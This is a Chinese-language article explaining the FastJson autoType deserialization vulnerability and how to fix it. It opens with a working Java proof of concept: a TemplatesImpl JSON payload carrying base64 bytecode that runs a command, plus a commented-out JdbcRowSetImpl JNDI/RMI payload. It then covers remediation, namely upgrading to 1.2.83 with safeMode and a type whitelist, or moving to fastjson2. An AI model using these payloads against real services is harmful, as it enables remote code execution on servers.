FastJson漏洞解析与修复


一、漏洞重现

Win10系统执行以下代码,弹出计算器,其中btyecodes执行的代码是 Runtime.getRuntime().exec("calc");
public class FastJsonBugTest {
static {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
// ParserConfig.getGlobalInstance().setSafeMode(false);
ParserConfig.getGlobalInstance().addAccept("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
ParserConfig.getGlobalInstance().addAccept("com.sun.rowset.JdbcRowSetImpl");
}
 
public static void main(String[] args) {
 
String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}";
 
 
// String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"autoCommit\":true,\"dataSourceName\":\"rmi://127.0.0.1:1099/cal\"}";
 
 
Object obj = JSON.parseObject(text, Object.class, ParserConfig.getGlobalInstance(), Feature.SupportNonPublicField);
// Object obj = JSON.parse(text);
 
// Object obj = JSON.parseObject(payload, Object.class, ParserConfig.getGlobalInstance(), Feature.SupportNonPublicField);
// Object obj = JSON.parse(payload, Feature.SupportNonPublicField);
}
 
}
 

二、漏洞说明

漏洞详情:https://github.com/alibaba/fastjson/wiki/security_update_20220523

1.风险描述和影响版本

fastjson已使用黑白名单用于防御反序列化漏洞,经研究该利用在特定条件下可绕过默认autoType关闭限制,攻击远程服务器,风险影响较大。建议fastjson用户尽快采取安全措施保障系统安全。 特定依赖存在下影响 ≤1.2.80  

2.类型自动识别说明

fastjson支持自动识别Java对象的类型,比如 String json={"@type":"com.zheng.dto.User","age":20,"name":"张三"} JSON.parse(json),可自动解析为User类型对象  

3.攻击原理

构建包含@type的json字符串, 将该字符串以参数形式传递给后端服务的接口, 接口执行反序列化时会调用指定对象的setXXX方法,利用TemplatesImpl或者JdbcRowSetImpl构造恶意代码实现命令执行 TemplatesImpl内部使用的是类加载器,去进行new一个对象,这时候定义的恶意代码在静态代码块中,就会被执行。 JdbcRowSetImpl是需要利用JNDI注入来实现攻击  

三、修复方案

1.升级到最新版本1.2.83

升级到最新版本1.2.83,并开启safeMode,添加自动类型检查处理器 修复代码如下:
@Component
public class SafeAutoTypeCheckHandler implements ParserConfig.AutoTypeCheckHandler, InitializingBean {
 
/**
* 支持自动解析的类型
*/
private Map> mapAutoClass = new HashMap<>();
 
@Override
public Class<?> handler(String typeName, Class<?> expectClass, int features) {
if (mapAutoClass.containsKey(typeName)) {
return mapAutoClass.get(typeName);
}
return null;
}
 
/**
* 添加要自动解析的类型
* @param className
* @param clazz
*/
public void put(String className, Class<?> clazz) {
if (className.startsWith("com.xxx.")) {
mapAutoClass.put(className, clazz);
}
}
 
@Override
public void afterPropertiesSet() throws Exception {
// todo:可直接添加要自动解析的类型:mapAutoClass.put
 
// 设置安全模式
ParserConfig.getGlobalInstance().setSafeMode(true);
// 加入自动类型检查
ParserConfig.getGlobalInstance().addAutoTypeCheckHandler(this);
}
}
 

2.升级到fastjson2

fastjson v2地址 https://github.com/alibaba/fastjson2/releases FASTJSON v2是FASTJSON项目的重要升级,目标是为下一个十年提供一个高性能的JSON库。通过同一套API  

四、兼容问题(升级到1.2.83后)

  1.时间格式反序列化问题 yyyyMMddHHmmss问题: 其他时间格式问题: https://github.com/alibaba/fastjson/issues/4193 https://github.com/alibaba/fastjson/issues/4167   2.@JSONField @JSONField( name="first_name") private String firstName; 新版本只按name指定的名称进行序列化和反序列化 老版本可兼容   3.其他参见https://github.com/alibaba/fastjson/issues/  

五、其他说明

JDNI: JDNI是有sun提出的一个规范,全称是“命名和目录提供程序”(Naming and Directory Providers),用来解耦应用,让整个程序更便于扩展、部署以及应用 参见:https://zhuanlan.zhihu.com/p/73428357 RMI: RMI(Remote Method Invocation)远程方法调用,是专为Java环境设计的远程方法调用机制,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法。 参见 https://www.freebuf.com/articles/web/252561.html   其他参考文档: https://zhuanlan.zhihu.com/p/73428357 https://blog.csdn.net/weixin_29863401/article/details/114248127 https://www.freebuf.com/articles/web/252561.html https://www.shuzhiduo.com/A/amd0q0l1zg/